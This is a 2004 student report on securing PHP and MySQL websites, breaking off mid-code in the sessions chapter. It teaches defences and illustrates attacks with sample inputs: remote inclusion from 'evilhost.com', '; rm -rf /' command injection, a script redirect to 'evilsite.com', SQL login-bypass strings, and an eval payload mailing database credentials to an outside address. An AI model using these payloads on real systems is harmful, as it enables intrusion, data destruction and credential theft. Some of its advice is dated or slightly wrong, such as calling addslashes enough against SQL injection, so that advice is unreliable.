Creating secure websites in PHP and MySQL

bemutefrogtownΑσφάλεια

18 Νοε 2013 (πριν από 3 χρόνια και 9 μήνες)

318 εμφανίσεις






IMT4161
Information Security
and Security Architecture
Autumn Term 2004

MSc in Information Security





Creating secure websites
in PHP and MySQL







Mats Byfuglien, mats@byfuglien.net

Norwegian Information Security Laboratory – NISlab
Department of Computer Science
and Media Technology
Gjøvik University College
P.O. Box 191, 2802 Gjøvik, Norway





Creating Secure W
e
bsites in PHP and MYSQL



Abstract

PHP in combination with MySQL, is the one of the most common ways of creating web
applications. The reason for this is that PHP is a very feature rich language.
Since all web applications created in PHP are publicly available for everyone with an internet
connection, the security aspect is very important.
The problem is that web applications have a short development time, and the implementation is
often done by web designers, not by programmers. This often leads to the fact that security
aspects are forgotten or overlooked, because they don’t have the right mindset.

This report deals with some of the most common attacks on PHP sites, such as XSS, SQL
injection, site defacement, session attacks etc. I will also discuss some of the common
errors/misunderstandings done by the developers, and present some approaches on how to make
your PHP application more secure. This includes both configuration settings in PHP and
functions/features provided by PHP.
The report also includes a chapter on MySQL and security issues concerning communication
between PHP scripts and the database.

- 1 -
Creating Secure W
e
bsites in PHP and MYSQL
T
ABLE OF
C
ONTENTS




1

I
NTRODUCTION
....................................................................................................3
1.1 W
HAT IS
PHP?.................................................................................................3
1.1.1 PHP

S
TRENGTHS
…...……….…………………………..………………....3

1.2

W
HY
S
ECURING
PHP
IS IMPORTANT
..................................................................3

2 A
LWAYS VALIDATE YOUR DATA
..........................................................................4
2.1 R
ISKS AND
S
OLUTIONS
.....................................................................................4
2.1.1

R
EGISTERED
G
LOBALS
…………...……...…………………………………5
2.1.2

F
ILES AND
C
OMMAND
………………………………………………………6
2.1.3

XSS:

C
ROSS
S
ITE
S
CRIPTING
………………………………………………...8



2.2

V
ALIDATION APPROACHES
................................................................................9

3 M
Y
SQL...........................................................................................................10
3.1 W
HAT IS
M
Y
SQL...........................................................................................10
3.2

SQL

I
NJECTION
...............................................................................................10
3.3

A
CCESSING
M
Y
SQL
FROM
PHP
SAFELY
..........................................................12
3.4 PEAR

DB......................................................................................................12

4 S
HARED
H
OSTS
................................................................................................13

5 S
ESSIONS
..........................................................................................................14
5.1

W
HAT ARE SESSIONS
........................................................................................14
5.2

S
ESSION
S
ECURITY
..........................................................................................14
5.3

C
REATE YOUR OWN SESSION CONTROL
............................................................15

6 E
RROR
H
ANDLING
...........................................................................................16

7 C
ONCLUSIONS
..................................................................................................17

R
EFERENCES
.........................................................................................................19

- 2 -
Creating Secure W
e
bsites in PHP and MYSQL





1 Introduction

1.1 What is PHP?
PHP is a server-side scripting language designed specifically for the web, and is mostly used for
creating dynamic web-sites. PHP code is embedded in ordinary HTML files. The code is parsed
and executed on the server, and the output from the script is ordinary HTML. The finished
HTML page is sent to the user’s browser.
PHP was conceived in 1994, by Rasmus Lerdrof. Afterwards the project was adopted by other
very talented people and has gone through three major rewrites in order to bring us to the mature
product PHP is today.
PHP is an open source product, this means that you don’t have to pay any licence for using PHP;
this is also one of the main reasons for its popularity.
Originally PHP stood for Personal Home Page, but was changed in line with the GNU recursive
naming convention (GNU = GNU is Not UNIX) and now stand for PHP Hypertext Preprocessor.

1.1.1 PHP Strengths
Some of PHP’s competitors are Perl, ASP ( Active Server Pages from Microsoft ), JSP ( Java
Server Pages and Allaire ColdFusion. In comparison to these products, PHP has many strengths;
some of these are listed below.

High Performance
PHP is very efficient, and can server millions of hits per day; even on an inexpensive server.
Database integration
PHP has built in support to many database systems including MySQL, Oracle, PostgreSQL,
filePro, Hyperware, Informix, Interbase and Sybase.
Built in Libraries
PHP contains a huge number of built in functions; like sending e-mail, generating images on the
fly, uploading files etc. This makes PHP a very convenient language for the programmer.
Cost
PHP is free to use.
Portability
PHP is available for many different operating systems. This means that it is possible to write
source code on a UNIX based system, and the code will usually work without modifications on a
different platform, such as Microsoft Windows.

1.2

Why Securing PHP is important

PHP is one of the most common languages for creating dynamic websites. In July 2004, PHP
was in use on more than 16 million domains world wide. This vast number of sites combined
with the fact that PHP sites are available to everyone with internet access, makes them very
exposed to attacks. Therefore, securing PHP sites becomes extremely important.

- 3 -
Creating Secure W
e
bsites in PHP and MYSQL
It’s important that everyone connecting a server to the internet (not only PHP servers), take the
proper security measures. Not doing this can lead to loss of data or even money, if the attackers
has their way.

When securing web-applications, there are two phrases that are important. The first is “Don’t
trust the network”. This means that any data sent to your site via a network – be a URL, data
from an HTML form, or any other kid of data - should be treated as potentially hazardous.
The second phrase is “Minimize the damage”. Even if you think your site is totally secure, there
is always a chance of somebody discovering vulnerabilities. Once this vulnerability has been
exploited, it’s important that you try to minimize the damage an intruder can cause. These two
phrases should always be in the mind of PHP developers at all times.

When visitors come to your site, they trust that it contains valid information, which is not
harmful to them or to their computer, and that any information they provide to the site will be
handled properly. Interacting with a site, whether an e-business, recreational or informational site,
involves certain security risks for a visitor. As a site designer, it’s your responsibility to protect the
visitor from these risks.

In order to build secure applications, it’s important that developers acknowledge that security is a
fundamental component of any software product. And that security must be incorporated in the
software as its being written. This is much easier and more cost efficient then trying to fix
problems after they have been discovered

Today most web applications have very short development time. This gives the developers barely
enough time to complete the basic functionality of the application, and very little time to
implement security measures. Another problem is that many PHP applications are developed by
web designers - and not by programmers – who might not have the right mindset, i.e. focus on
functionality and not security.

There are a lot of people on the internet trying to make a name for themselves by breaking your
code, crashing your site, posting inappropriate content etc. It doesn’t matter if you have a small
or large site; you are a target simply having a server that can be connected to. By using some of
the techniques described in this report, you can prevent your site from becoming a victim of the
attackers.

2 Always validate your data

2.1 Risks and Solutions
The most common and most severe security vulnerabilities in PHP scripts, and indeed any web
application, are poorly validated user input. Many scripts use information the user has provided,
and process this information in various ways. If this input is trusted blindly, the user has the
potential to force unwanted behaviour in the script and the hosting platform.
There are several ways of doing this. The simplest method is some kind of form spoofing, like
site defacement. Where a user enters HTML code into an input form, and completely alters the
layout of your site. More advanced injection techniques include uploading malicious files, running
command on the server, running programs on the server, SQL injection, redirection to other sites
etc.

- 4 -
Creating Secure W
e
bsites in PHP and MYSQL
In the following sections I will describe some of the most common attacks/vulnerabilities on
sites with poor validation, and how to solve these problems.


2.1.1 Registered Globals
Variables in PHP don’t have to be declared. They are automatically created the first time they are
used. PHP variables doesn’t have to be of a specific type either, they are typed based on the
context in which they are used. This extremely convenient from a programmers perspective, but
is has some drawbacks from a security standpoint.
Because of this convenience, PHP variables are rarely initialized by the programmer.

The main function of most PHP applications is usually to take in some user input (form
variables, session variables, cookies, uploaded files etc), process the input and return output
based on the input. In the PHP.ini file there is a directive called registered globals. If this is set to
on, you can access all kinds of input variables by just referring to their name. For example could
the variable
$_POST [“message”]
, posted from an HTML form, be accessed by the variable
$message
. This is also possible with all other types of input variable like
$_SESSION
,
$_COOKIE
,

$_GET
etc. Having registered globals turned is extremely convenient for the developer, but
imposes a serious security risk.

Since all variables in PHP are defined globally, there is simply no way to trust any variable,
whether external or internal. Consider the following script:

<?php
$tempfile = “test.tmp”;
//do something with test.tmp here
unlink(“test.tmp”);
?>

Even if you handle test.tmp safely all the way through the script, the last statement could be very
dangerous. A malicious attacker can create an HTML form looking something like:
<input type=hidden name=”tempfile” value =”../../../etc/passwd”>
When this is submitted to the script, PHP will insert the field name in the global namespace as
$tempfile
. This attack is still a bit unlikely, because it would require the web server to run as
superuser, and if that is the case, you have a serious vulnerability that should be fixed immediately
(the web server should always run with only the necessary privileges ).

Another example of misuse with registered globals enabled is the following script:
<?php
If( authenticated_user() ){
$authorized=true;
}
If($autorized){
Include “/higly/sensitive/data.php”;
}
Because
$authorized
is not initialized as false, it’s possible to use something like a GET request
to compromise the script. This could be done by typing the URL of the script and add the
parameter
?authorized=
1 and you would be authorized to view the secret data.

The best way to prevent this is by disabling registered globals - which is default from version
4.2.0 of PHP. But there are few servers doing this, because a lot of third party applications use
this feature, and disabling it will limit their usage.
Another way of preventing this problem is by checking if the variable is in the arrays
$_POST
or
$_GET
, and if they are, echo an error report to the user.

- 5 -
Creating Secure W
e
bsites in PHP and MYSQL

The absolute best way to work around the problem with registered globals is to code your scripts
in a matter where it doesn’t matter if registered globals are turned on or off. This will also make
your application more portable between servers with different configurations.
The easiest way to accomplish this is never to refer to variables just by their name. Always code
like registered globals is turned off. When you want something from a GET request use the
$_GET
array, and when you want something from a POST request use the
$_POST
array.
COOKIE and SESSION variables also have similar arrays.
In addition to all this, disabling registered globals encourages developers to be mindful of the
origin of data, and this is an important characteristic of any security-conscious developer.

2.1.2 Files and Commands
The web server knows that a file is a PHP file by looking at the file extension. If the extension is
.php the server lets PHP interpret the file and then display the result. On the other hand if the
server doesn’t recognize the file extension, it will normally just display the content of the file in
plain text. Sometimes it happens that a PHP script needs to include other files as part of itself. A
lot of programmers have the tendency of naming these files with an .inc extension. The problem
here is that the server is not aware that those files should be viewed as PHP files. An attacker
could just type the URL of the .inc file, such as
www.mysite.com/include/somefile.inc
and get the opportunity to study the code for security holes and maybe even see secret hard-
coded data. The easiest way to prevent this is to name all include files with a php extension, like
somefile.inc.php. This will force the server to interpret the file instead of just displaying it.
When doing this, another problem arises. The attacker is still able to type to URL of the file; this
will cause some code to be run out of context. Most of the time this is not a very serious
problem, since most include files consists mostly of variables assignments. Still it is an
unnecessary risk to allow code being executed out of context because you never know what
errors or states this may lead to.
Another approach is to prevent all .inc files from being displayed. This has to be done in the
configuration file on the web server. In the Apache server this is done in the httpd.conf file and
would look something like:
<Files ~ “\.inc$”>
Order allow, deny
Deny from all
</Files>

The safest thing to do would probably be to place all the .inc files outside the Document Root
and change the directive
include_
path in the php.ini file. This way only your PHP scripts will be
able to access these files. The web server, or any user, will no be able to access these files. This
might however be a problem when you are running your PHP scripts on a sheared server.
Because you might not be allowed to place files outside the document root.

Another security problem in PHP is the ability to open external files. PHP has several functions
that allow this. Some of them are:
include(),

require(),

require_once()
and
include_once()
.
These functions take a filename as parameter, read the file and parse it as PHP code. Typically
these functions are used to include common bits of PHP code stored in external files. Take the
following PHP code:
<?php include($libdir . “/languages.php”);?>
$libdir
is actually a configuration variable meant to be set earlier in the script to the directory
where the library files are stored. An attacker can cause this variable not to be set in the script,
and submit it himself instead. This means that the attacker is able to set the path. At first glance
this doesn’t seem like a big threat, since the attacker only is allowed to access a file name

- 6 -
Creating Secure W
e
bsites in PHP and MYSQL
languages.php. But since PHP has the ability to include code from other servers and run this as a
part of the original script, there is no telling what languages.php may contain.
Let’s say that the attacker’s version of languages.php contains the following:
<?php passthru(“/bin/ls etc”);?>
And the attacker sets
$libdir
to
http://www.evilhost.com
. When the PHP interpreter
encounters this statement, it will make an http request to evilhost, retrieve the code and execute
it, returning a list of /etc to the attacker’s web browser.

File upload is another feature in PHP that actually makes life easier for an attacker. A PHP site
that allows file upload normally presents the user with a form that allows him to select a file from
his local machine, and then upload it to the remote web server. This feature is very useful, but it’s
PHP’s response that makes this it a bit dangerous. PHP will automatically receive the file from
the user, even before it has begun to parse the script, and then check if the file is smaller then the
$MAX_FILE_SIZE
variable set in the PHP configuration file.
This means that a user can send any file they wish to a PHP enabled machine, and before a script
has even specified whether or not it accepts file uploads, that file is saved on the local disk.
Let’s consider a script designed to receive file uploads. When the file is uploaded it’s stored in
location specified in php.ini file ( default is the /tmp directory ) with a random filename such as
phpxdfGGHEc. Next the PHP script needs some information about the uploaded file in order
to process it. PHP sets four global variables to describe the uploaded file:
$test
= filename on the server ( the variable name test comes from the name of the input field
in the form shown in the users browser ).
$test_size
= file size in bytes
$test_name
= the name of the file on the users computer
$test_type
= mime type of the uploaded file
When these variable are set, PHP start working on the file, via the $test variable. The only
problem is that this variable doesn’t have to be set by PHP. Say an attacker enters the following
URL:
http://phpsite.com/upload.php?test=include/config.php&test_size=10240&test_
name=test.txt&test_type=text/plain

(another possibility is to crate a from with four text
fields with these names, and submit this form to the PHP script), which will result in the
following variables being set:
$test = “include/config.php
$test_size = 10240
$test_name = “test.txt”
$test_type = “text/plain”
These variables are exactly what the script expects to be set by PHP, but instead of working on
an uploaded file, the script is actually working on the configuration for the application. This can
lead to the exposure of sensitive data like access credentials to the database.
Newer versions of PHP provide different methods for verifying the uploaded files. For example
all files uploaded to the server are stored in the HTTP_POST_FILES array. If you make it
common practice to check that all uploaded files are in this array, the attack described above will
be a lot harder to perform. PHP also provide a function that determines whether a particular file
is actually the one uploaded.

A creative attacker can also use file upload to run commands on the server. Take the following
piece of code:
<?php
if( file_exists( $theme )) // file must be on local server, no remote files
include($theme);
?>
Since this script prevents remote files being included and executed the attacker has to find and
alternative way of achieving his goal. What the attacker need is to get PHP code he has written

- 7 -
Creating Secure W
e
bsites in PHP and MYSQL
into a file on the server. Ultimately file upload will assist the attacker in doing this. For example
an attacker can use the file containing the passthru code shown earlier and submit this file to the
PHP script via file upload. PHP will then be kind enough to save the file and set
$theme
to the
location of the file. Now the file exists check will succeed and the file will be executed. When the
attacker has command execution ability on the server, he usually wants to escalate his attacks.
Once again file upload makes this possible. The attacker can simply upload all the attack tools he
needs to the server and use his code execution ability to run them.

Another possible security risk in your PHP scrip, due to poor validation, is when you run system
commands with user input as parameters. As an example, take the following script that returns
the UNIX finger information for a user:
<?php if( IsSet($_POST[“username”])) ?>
<h1>Result for <?php echo $username: ?></h1>
<p><?php system(“finger “ . $username ); ?></p>
This script works fine if the user is friendly and just enters a valid username. But there is a serious
flaw in this script. In UNIX it’s possible to run multiple commands on one line separated by the ;
operator. A malicious user can then use this to execute an attack on the server. For example if the
user enters “; rm –rf /” as his username. This will result in all the files on the server being
deleted.
PHP presents a good solution to this problem. The function escapeshellcmd() will make any
string safe to use in command execution, by removing any special characters like the semicolon.
There is also a similar function called escapeshellcmd() which makes arguments passed to a
particular commands safe by adding single quotes to it so it’s treated as a single safe argument.

2.1.3 XSS: Cross Site Scripting
Cross site scripting is one of the most common attacks on Web applications. XSS typically has
three main characteristic: Exploit the trust a user has in a particular site, involves web sites that
displays foreign data and injects content of the attackers choosing, due to poor validation. Any
site that displays data that comes from a foreign source without properly filtering it, are
vulnerable to XSS. Foreign data can be anything from user input to banner advertisement and so
on.
On of the most common types of XSS attacks are site defacement
A common way to deface a poorly designed website is to input HTML tags in an input form.
Consider the following PHP script for a simple guestbook:

<?php if(IsSet($_POST[“message”]))
// save message in database
?>
<HTML><HEAD></HEAD>
<h2>Enter a message to my guestbook:</h2>
<form action = “guestbook.php” method = “post”>
<textarea cols="30" rows="6" name="message"></textarea>
<input type = “submit” name = “submit” value = “Send message”>
</form>
//get data from database
//For each post in result set
<p><?php echo $message; ?></p>
</HTML>

If you have implemented your guestbook somewhat like this, you should feel a bit uneasy. This
script doesn’t do any validation of the data at all. This is a good time to remember the phrase
“Don’t trust the network”.

- 8 -
Creating Secure W
e
bsites in PHP and MYSQL
The script displays a textarea where the user can type his message. When the user submits the
message it’s stored directly in the database, and all the saved messages are displayed under the
input form.
Imagine what could happen if a malicious user stumbled over this scrip. The simplest thing he
could do is to insert HTML tags in the message, for example a large table filled with bogus data,
an extremely wide image etc. An attacker also uses this technique for leaving his calling card, so
that he can prove his attacks.
This is the embarrassing part of site defacement. It doesn’t cause any harm, except to make your
site look really bad.
Another, and much worse part of site defacement is when the attacker uses this to take advantage
of the users trust in the site. Say that the attacker puts this in the textarea:

<script language=”JavaScript”>
window.location=”
http://www.evilsite.com

</script>

When the next visitor loads the guestbook, the browser will receive this tag and immediately
begin loading the hacked site. If the site with the guestbook is part a large PHP site which
requires a username and password, the attacker could make “evilsite.com” look exactly like the
original site and prompt the user for his password, or in the worst case; get the users credit card
number.

The problem can easily be solved. PHP has a built in function called
htmlspecialchars()
.
This function takes a string a parameter and turns all characters that has special meaning in
HTML and converts them to HTML entities. If you have an input string like
<script language=”JavaScript>….</script>
, this will be converted into
&ltscript
language=&quotJavaScript&quot&gt…&lt/script
. Other similar functions are
strip_tags()
and

htmlentities()
.

This simple feature will remove a serious security threat in your script. It’s wise to run this
function before further using any user submitted data.


2.2

Validation approaches

When it comes to validating data in PHP there are some general approaches that should be
followed.
Number one, never use variables you haven’t validated. The best way to do this is to use a clean
variable approach. For example consider the following script which ensures that the variable
“color” (from the
$_POST
array) is either red, green or blue, and the variable “num is an integer:
<?php
$clean = array();
switch($_POST[‘color’]){
case ‘red’: case: ‘green’: case: ‘blue’: $clean[‘color’]=$_POST[‘color’];
break;
}
if($_POST[‘num’]==strval(intval($_POST[‘num’]))) {
$clean[‘num’] = $_POST[‘num’];
}
?>
With an approach like this you can consider all the variables outside the clean array to be tainted.
This is what’s called a whitelist approach, which is the exact opposite of a blacklist approach.
When it’s comes to validation of data, the whitelist approach is clearly the safest because unless
the data can be proven valid it’s considered invalid.

- 9 -
Creating Secure W
e
bsites in PHP and MYSQL

Regular expressions are a good way of reinforcing a whitelist approach. The following regular
expression validates an e-mail address:
‘/^[^@\s]+@([-a-z 0-9]+\.)+[a-z]{2,}$/i’
Creating your own regular expressions, which filters in characters allowed, is a much safer
approach than filtering out all the bad characters. Because when you filter out, there is always a
chance of missing something, and the filters often get very complicated.

One problem with the white list approach is that you may risk rejecting something that is actually
valid (false rejection). For example the name O’Hara might be rejected in a filter that checks user
names, because of the single quotation mark - even though it is valid.
From a security standpoint, false rejection is better than false acceptance (allowing something
invalid as valid) which you may risk with a black list approach.

3 MySQL
3.1 What is MySQL
MySQL is a very fast and robust relational database management system (RDBMS ). A database
enables you to store, search, sort and retrieve data efficiently. The MySQL server controls access
to the data, ensures that multiple users can work with it simultaneously and that only authorized
users gets access. Hence MySQL is a multi-user, multi-threaded server. It uses SQL (structured
query language), the standard database query language world wide. MySQL has been publicly
available since 1996, but started development already in 1979. MySQL is available under an Open
Source license, but there are also commercial licenses available.
3.2

SQL Injection

SQL injection is a technique for exploiting web applications that use client-supplied data in SQL
queries without first stripping potential harmful characters. This type of attack is very simple to
protect against, but there are still a lot of sites vulnerable.
When an attacker has discovered that your site is vulnerable to SQL injection, it’s only the
attackers SQL knowledge limiting the damage he can cause. The attacker is free to extract, insert,
modify and even delete content from the database.

Hackers typically test for SQL injection vulnerabilities by sending input that would cause the
server to generate an error message. If an error message appears, it would mean that the server
executed the query with the user appended input. By examining these error messages, it’s possible
for an attacker to figure out the original SQL query.
A simple form of SQL injection attack is bypassing logon forms. Consider the following select
statement in a PHP script:
SELECT username FROM users WHERE username = ‘$_POST[“username”]’ AND
password = ‘$_POST[“password”]’
If this statement returns one username, the logon has succeeded. But there is a serious flaw here.
The data submitted from the user is not sanitized, but directly inserted into the statement. Say an
attacker enters the following into the log-in form:
Username:
jackB
Password:
“ ’ OR ‘’ = ‘

The query sent to MySQL would look something like:
SELECT username FROM users WHERE
username = ‘jackB’ AND password = ‘’ OR ‘’=‘’
Instead of evaluating the password, the query will check if an empty string equals another empty
string. This will always be true, thus allowing a user to log in without a valid password.


- 10 -
Creating Secure W
e
bsites in PHP and MYSQL
The same approach could be used with an insert command. Take the following SQL query:
INSERT INTO users (username, password, email) VALUES (‘$_POST[“username”]’,
‘$rndpasswd’, $_POST[“email”]’)
This query is part of a script that creates a new user account. The user provides a desired
username and an e-mail address. The script then generates a random password and emails it to
the user to verify the address. Imagine that the user enters the following as a username:
Hacker’, ‘ownpasswd’, ‘’), (‘bobA’
and enters a valid e-mail address. If the password
generated by the script is: ghff56#, the SQL statement would look like:
INSERT INTO users (username, password, email) VALUES( ‘Hacker’,
‘ownpasswd’, ‘’), (‘bobA’, ‘ghff56#’ ‘valid@email.com’)
When this query is executed the application is tricked into creating two accounts. The first
account is created with a user supplied password, and no email address, enabling the attacker to
bypass the email verification.

A subcategory of SQL injection is “Blind SQL injection”. In ordinary SQL injection, error
reports from the server are studied in order to figure out how to attack the site. But in many
running systems, errors are not displayed only written to a log file. This makes it harder for the
attacker to inject SQL statements, but it is still possible. When testing for blind SQL injection
vulnerabilities, the attacker appends statements that are always true to the where clause.
Consider a script that fetches different press releases based on an ID sent as a parameter in the
URL. A URL that does this might look something like:
www.company.com/pr.php?prID=6

The application uses the SQL statement:
SELECT * from pressRelase where prID =
$_GET[‘prID’]
. The attacker can test if this script is vulnerable to SQL injection by requesting
the following URL:
www.company.com/pr.php?prID=6
AND 1=1
. If this query also returns the
press release, the application is vulnerable because part of the user supplied input is interpreted as
a condition. On a secure site this would not be possible because the user input would be treated
as a value. And the value
“6 AND 1=1
” is a string which would cause a type mismatch error in
the database and nothing will be displayed. This approach can be used to ask the database true or
false questions. Every time the application displays something, you know the answer is true. With
this approach, some time and patience, it’s possible to get almost any kind of information the
database.

SQL injection is very easy to defend against. The only thing you need to do is properly filter user
supplied data before executing the query. PHP provides several functions for this. The best
functions to use are
addslashes()
and
mysql_real_escape_string()

These functions escape all characters that can be dangerous. The first function adds backslashes
to characters that needs to be quoted. These characters are: ‘, “ and \. When run through the
addslashes function, the output will be \’, \” and \\. When these characters are escaped it’s not
possible to manipulate input statements as shown above. It’s important to remember to use the
stripslaches
function if you want to use the data on a later point. Otherwise the backslashes
will be shown in the output.
The
mysql_real_escape_string()
escapes characters like \n \r and null. If you use these
functions on all you SQL statements before executing them, your site should be protected against
SQL injection.

SQL injection is a large and comprehensive subject. I have only chosen some simple examples in
this report, to show the basic principle. If you want to know more about this I recommend Kevin
Spett’s articles called “SQL injection” and “Blind SQL injection” available at spidynamics.com


- 11 -
Creating Secure W
e
bsites in PHP and MYSQL
3.3 Accessing MySQL from PHP safely
The most common way of accessing MySQL from PHP is by having a file called something like
db.inc.php
which includes the following:
<?php
$host = ‘server.net’;
$username =‘myuser’;
$password=‘mypass’;
$db = mysql_connect($host, $username, $password);
?>
This file is included whenever a database connection is needed. An approach like this is very
convenient, and keeps all access credentials in a single file. Since the file is named with a .php
extension, there is no danger of the file being read through the browser. But an attacker might
still be able to access this file. Let’s say that there is a script on the server that doesn’t validate the
data correctly and uses user supplied data in the eval()function (which allows arbitrary PHP code
to be executed). An attacker can use this vulnerability to get your access credential by typing the
following as his argument:
mail(
hacker@illegal.com
, “Stolen credentials”,
‘include\db.inc.php’);
A solution to this, besides properly data sanitation, is to place the file outside the document root.
This might be a problem on sheared hosts, since other user accounts on the server still has access
to it.
The safest way of protecting your access credentials (described in the PHP cookbook) is to create
a path that only root can read. For example
/path/to/secret/stuff
. In this folder you place a
file with the following contents:
SetEnv DB_USER “myuser”
SetEnv DB_PASS “mypass”
And in the Apache httpd.conf file include:
Include “/path/to/secret/stuff”
Now you can use
$_SERVER[‘DB_USER’]
and
$_SERVER[‘DB_PASS]
in your scripts. And you
never have to type your username and password. In addition no one can write scripts that access
the file, since only root can read it. The only thing you have to be careful with, is not to expose
these variable with functions like
phpinfo()
and
print_r($_SERVER)
.
3.4 PEAR DB
PEAR is short for “PHP Extension and Application Repository”. The purpose of PEAR is to
provide a structured library of open-source code for PHP users. PEAR is partitioned into
packages. Each package is a separate project with its own development team. In this report I will
focus on the PEAR DB package (the complete PEAR manual is found at
phpfreaks.com/pear_manual/
). The PEAR DB package provides a unified API for accessing
SQL databases.
A script using PEAR DB might look something like:
<?php
Require_once( “DB.php” ); // include the PEAR DB package

$dbtype = “mysql”;
$dbserver = “localhost”;
$dbname = “test”;
$dbusers = “myuser”;
$dbpassword=”mypass”;

//build the connection string
$dsn=$dbtype.”://”.$dbuser.”:”$dbpassword.”@”.$dbserver.”/”.$dbname;

$db = DB::connect($dsn);
If(DB::isError($db))
die(“Error connecting to database”);


- 12 -
Creating Secure W
e
bsites in PHP and MYSQL
$db->setFetchMode(DB_FETCHMODE_ASSOC); //show result as associative arrays
$sql = “INSERT INTO guestbook ( ID, Name, Mail, Website, Message) VALUES(
?,?,?,?,?)”; //use wildcards for every parameter
$data = array(‘’, $_POST[“name”], $_POST[“mail”], $_POST[“website”],
$_POST[“message”]);
$prep = $db->prepare($sql);
$db->execute($prep, $data);

Echo “Your message has been successfully saved”;
?>
There are two main advantages with the PEAR DB package. Number one, it is database
independent. If this script where to communicate with another database, all you have to do is
change the
$dbtype
variable, everything else can remain the same. This is much more
convenient then using specific functions for each database.
The other advantage of PEAR DB is important from a security standpoint. When you create an
SQL statement, you have to possibility to use wildcard (the ? character) where the user submitted
values will be inserted. Then you provide an array with all the parameters. The SQL statement is
then prepared, and when you execute the statement all the parameters are automatically escaped
before being appended.
By using PEAR DB your scripts become more portable and you don’t have to remember using
escape functions every time you execute a query.

4 Shared Hosts
A huge number of people have purchased web hosting accounts on shared servers. On this
server there are many user accounts and a lot of them are running PHP applications. In an
environment like this, your data is very vulnerable. A general advice is to store sensitive data
outside the web tree. On a shared host this is not an option, because you are only allowed to save
files in the folder which belongs to your account. Even so, the approach of storing outside the
root only prevents the files from being read by the web server program. It is still possible to
access the files by other means such as a PHP written by another user sharing the same server.
The problem is that PHP scripts run as the user id of the web server no matter whose account it
belongs to. This means that any user on that server can write PHP scripts that can access all your
files. It doesn’t matter where you place the files. If your PHP script can access them, so can
everyone else’s scripts.

PHP has a directive in the php.ini file called
safe_mode
. With safe mode enabled a large variety
of restrictions are introduced. Some of the restrictions are:
- Restrictions in which commands that can be executed
- Restrictions on which functions that can be used
- Restricts file access based on ownership of the script and target file
- Limits file upload capabilities
With proper configuration of this directive, the overall security of the PHP environment can
improve, but it can also lead to a lot of anger and frustration for the developers.

Another important directive in the php.ini file is called
open_basedir
. This option prevents any
file operations outside specified directories. If you configure this directive in a way that each user
has their folder set as the base directory:
Client A gets the directive
open_basedir=<path>/A
Client B gets
open_basedir=<path>/B

- 13 -
Creating Secure W
e
bsites in PHP and MYSQL
If safe mode is enabled combined with this directive, it gets substantially more difficult for client
A to access files or data from client B. Skilled attackers might still be able to find a way. Many
web hosts provide support for PHP, ASP and JSP on the same server. And the safe mode
directive only applies for PHP, this means that an attacker can simply use one of the other
languages supported to access your files.
Another problem with shared hosts is the problem with session files. I will discuss this more in
section 5.3.

The security directives described above can only be set by the administrators providing the
shared server. This means that it’s very important to investigate what kind of security features the
different web hosts provide before purchasing an account.
5 Sessions
5.1 What are sessions
HTTP is a stateless protocol. This means that the protocol has no built in way of maintaining the
state between two transactions. If a users request two different pages subsequently, HTTP does
not provide a way for us to tell that both request came from the same user.
The idea behind sessions is to provide a way to make this possible. If we can do this, we can
implement login functions, and display content accordingly. We can track the user’s behavior,
implement shopping carts and much more.
The way sessions are implemented is that a unique session ID is created by PHP and stored on
the client side for the lifetime of the session. A session variable can either be stored on the user’s
computer in a cookie, or passed along through the URL. The session ID acts as a key that allows
you to register particular variables as so-called session variables, which are stored on the server.

5.2 Session Security
Session security is a sophisticated topic, and sessions are a frequent target of attack. Many of the
session attacks involve impersonation, where an attacker tries to gain access to another user’s
session. For an attacker to be able to attack a session he needs access to the session identifier.
There are mainly three ways of doing this: prediction, fixation and capture.

Prediction is the process of guessing a valid session ID. This is not a likely point of attack
because the session identifier in PHP is extremely random, and therefore almost impossible to
guess.

Session fixation is the simplest method of obtaining a valid session identifier. A simple example
of session fixation can be shown in the following script:
<?php
session_start();
if(!isSet($_SESSION[‘visits’]))
$_SESSION[‘visits’] = 1;
else
$_SESSION[‘visits’]++;
echo $_SESSION[‘vistis’];
?>
This script will increment the session variable, visit, on each subsequent visit and reflect the
number of times the user has visited the page. A simple way of demonstrating session fixation is
if you visit this page with the parameter ?PHPSESSID = “456645” in the URL. This script will
then display 1 in the browser. Next try to enter the script from a complete different browser or

- 14 -
Creating Secure W
e
bsites in PHP and MYSQL
computer, but with the same session ID. You will now see the number 2 displayed in the
browser. This means that the session initiated by one user is continued by another user.
A typical session fixation attack simply uses a link or a redirect to send a user to a remote site
with a session ID appended to the URL. This can be used to launch impersonation attacks such
as session hijacking (more about this later in this section).
To protect against session fixation, it’s important to remember that the attacker has no use for
the session ID until the user has gained a raised privilege level, such as logging in. Therefore it is
a good approach to regenerate the session ID whenever there is a change in the privilege level.
This will practically eliminate the risk of session fixation.

The most common session attack is capturing a valid session ID. There are different approaches
of doing this depending on if the ID is stored in a cookie or appended in the URL.
It’s recommended that sessions ID’s are stored in cookies. This is a bit more secure since cookies
are less exposed then GET variables.
Session hijacking refers to all attacks that attempt to gain access to another user’s session.
In a simple session, all the attacker need to hijack a session is the session identifier. It’s possible
to add a little extra security by checking some parameters in the HTTP request. The most
common parameter to check against is the User-Agent entry, which contains information about
the user’s browser. If the same session identifier is presented, but the User-Agent value has
changed since the previous request it’s likely that some kind of session attack is at hand. But this
is not enough to prevent session attacks. An attacker can trick the user into visiting his site, and
obtain the correct User-Agent header. Naturally something additional is required to protect
against this situation.
One way of doing this is to hash the User-Agent parameters combined with a secret string:
<?php
$string = $_SERVER[‘HTTP_USER_AGENT’];
$string .= ‘SECRETKEY’;
$fingerprint = md5($string);
?>
For a session to be continued, both a valid session identifier and a matching fingerprint have to
be presented.
If the session identifier is passed in a cookie, the fingerprint variable should be passed appended
to the URL. In this way the attacker has to compromise both the cookie and the URL variables
in order to hijack a session.
With a security feature like this, it’s important to make sure that legitimate users aren’t treated as
criminals. One way to do this is to simply prompt the user for his password if the check fails. If
the user is not able to provide the correct password, it’s probable that an impersonation attack is
taking place.
An approach like this makes it easy for the legitimate users and hard for the attackers.

5.3 Create your own session control
Session files in PHP are by default stored in the /tmp directory. If you run your PHP application
on a shared host, the session files for every user is stored in this directory. These files can only be
read by the web server, but it’s possible to create a PHP scripts that reads them.
If the safe mode directive is enabled, this is prevented, but as mentioned in section 4 attackers
can simply use another language.
The best solution to this problem is to store your session variables in a database and create your
own functions for accessing them. In order to do this you have to use the
session_set_save_handler()
function to override PHP’s default session handling.
The following script shows a simplified example for creating your own session control:


- 15 -
Creating Secure W
e
bsites in PHP and MYSQL
<?php
//override default session functionality,
//parameters give games of functions to handle session control
session_set_save_handler(‘connect’,’disconnect’,‘get’,‘put’,‘del’,‘clean’);

function connect() {
mysql_connect( ‘host’,’myuser’,’mypasswd’ );
